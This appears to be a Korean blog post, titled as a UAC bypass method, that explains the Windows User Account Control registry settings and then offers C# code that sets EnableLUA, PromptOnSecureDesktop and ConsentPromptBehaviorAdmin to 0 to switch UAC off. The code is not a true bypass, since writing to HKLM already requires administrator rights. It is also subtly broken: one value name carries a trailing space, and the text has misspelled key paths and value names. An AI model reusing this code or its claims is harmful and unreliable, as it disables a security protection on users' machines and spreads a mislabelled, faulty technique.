**UAC(User Access control) 우회 방법**

그룹정책 설정 및 레지스트리 키

HKLM\Software\Microsoft\Windows\CurrentVersion\Polices\System

**사용자 계정 컨트롤은 4가지 모드로 동작**

1.항상 알림(프로그램에서 소프트웨어를 설치, 컴퓨터를 변경하려는 경우)

2.프로그램이 시스템을 변경할 때 알림(기본값, 프로그램에서 Windows 설정을 변경하려는 경우만 알림)

3.보안 데스크톱 사용 안함(보안 데스크톱에서 UAC 대화 상자를 띄우지 않고 일반 데스크톱화면에서 띄어줌, 화면을 흐리게 전환하지 않음)

4.사용자 계정 컨트롤 끄는 기능

* 사용자 계정 컨트롤의 세부 정보

레지스트리키 : HKLM\Software\Microsoft\Windows\CurrentVersion\Polices\System

(EnableLUA, PromptOnSecureDesktop, ConsentPromptBehaviorAdmin)

1. 항상 알림

-EnableLUA : 1(REG\_DWORD)

-PromptOnSecureDesktop : 1(REG\_DWORD)

-ConsentPrompBehaviorAdmin : 1(REG\_DWORD)

1. 프로그램이 시스템을 변경할때 알림

-EnableLUA : 1 (REG\_DWORD)

-PromptOnSecureDesktop : 1(REG\_DWORD)

-ConsentPrompBehaviorAdmin : 5 (REG\_DWORD)

1. 보안데스크톱 사용 안함

-EnableLUA : 1 (REG\_DWORD)

-PromptOnSecureDesktop : 0 (REG\_DWORD)

-ConsentPromptBehaviorAdmin : 5 (REG\_DOWRD)

1. 사용자 계정 컨트롤 끄는 기능

-EnableLUA : 0 (REG\_DWORD)

-PromptOnSecureDesktop : 0 (REG\_DWORD)

-ConsentPromptBehaviorAdmin : 0 (REG\_DWORD)

**레지스트리 값 설명**

**ConsentPromptBehaviorAdmin**

**키 :** SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Policies \ System

**값 :** "ConsentPromptBehaviorAdmin"

**유형 :** REG\_DWORD

**데이터**

| **값** | **의미** |
| --- | --- |
| 0x00000000 | 이 옵션을 사용하여 승인 또는 자격 증명없이 승격이 필요한 작업을 승인 관리자가 수행 할 수 있습니다. |
| 0x00000001 | 이 옵션은 권한 승계 권한이 필요하면 권한 관리자가 사용자 이름과 암호 (또는 다른 유효한 관리자)를 입력하도록합니다. 이 작업은 보안 된 데스크톱에서 수행됩니다. |
| 0x00000002 | 이 옵션은 관리자 승인 모드의 관리자에게 권한 상승이 필요한 작업을 "허가"또는 "거부"로 선택하라는 메시지를 표시합니다. 동의 관리자가 허용을 선택하면 가장 높은 사용 권한으로 작업이 계속됩니다. "동의 확인"은 권한있는 작업을 수행하기 위해 사용자가 이름과 암호를 입력하도록 요구하는 불편 함을 제거합니다. 이 작업은 보안 된 데스크톱에서 수행됩니다. |
| 0x00000003 | 이 옵션은 권한 승계 권한이 필요하면 권한 관리자가 사용자 이름과 암호 (또는 다른 유효한 관리자의 사용자 이름과 암호)를 입력하도록합니다. |
| 0x00000004 | 관리자 승인 모드에서 관리자에게 권한 상승이 필요한 작업을 "허가"또는 "거부"로 선택하라는 메시지가 나타납니다. 동의 관리자가 허용을 선택하면 가장 높은 사용 권한으로 작업이 계속됩니다. "동의 확인"은 권한있는 작업을 수행하기 위해 사용자가 이름과 암호를 입력하도록 요구하는 불편 함을 제거합니다. |
| 0x00000005 | 이 옵션이 기본값입니다. 비 Windows 바이너리에 대한 권한 상승이 필요한 작업에 대해 관리자 승인 모드에서 관리자에게 "허용"또는 "거부"를 선택하라는 메시지를 표시하는 데 사용됩니다. 동의 관리자가 허용을 선택하면 가장 높은 사용 권한으로 작업이 계속됩니다. 이 작업은 보안 된 데스크톱에서 수행됩니다. |

**EnableLUA**

**키 :** SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Policies \ System

**값 :** "EnableLUA"

**유형 :** REG\_DWORD

**데이터 :** 이 값은 다음 표의 값이어야합니다.

| **값** | **의미** |
| --- | --- |
| 0x00000000 | 이 정책을 사용하지 않으면 "관리자가 관리자 승인 모드의 사용자"사용자 유형을 사용할 수 없습니다. |
| 0x00000001 | 이 정책은 "관리자 승인 모드의 관리자"사용자 유형을 활성화하는 동시에 다른 모든 UAC (사용자 계정 컨트롤) 정책을 사용하도록 설정합니다. |

**PromptOnSecureDesktop**

**키 :** SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Policies \ System

**값 :** "PromptOnSecureDesktop"

**유형 :** REG\_DWORD

**데이터 :** 이 값은 다음 표의 값이어야합니다.

| **값** | **의미** |
| --- | --- |
| 0x00000000 | 이 정책을 사용하지 않으면 보안 된 바탕 화면 메시지가 표시되지 않습니다. 모든 자격 증명 또는 동의 확인 메시지는 대화 형 사용자의 데스크톱에서 발생합니다. |
| 0x00000001 | 이 정책은 사용자의 안전한 데스크탑에서 모든 UAC 프롬프트를 강제 실행합니다. |

UAC 우회 코드

namespace UACBypass

{

class Program

{

static void Main(string[] args)

{

UAC\_bypass();

}

private static void UAC\_bypass()

{

try

{

Console.WriteLine("UAC is about to go down!");

Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", Microsoft.Win32.RegistryKeyPermissionCheck.ReadWriteSubTree);

key.SetValue("ConsentPromptBehaviorAdmin", 0);

key.SetValue("EnableLUA", 0);

key.SetValue("PromptOnSecureDesktop ", 0);

Console.WriteLine("UAC is down!");

}

catch (Exception ex)

{

Console.WriteLine("UAC\_byPass() " + ex.Message);

}

}

}

}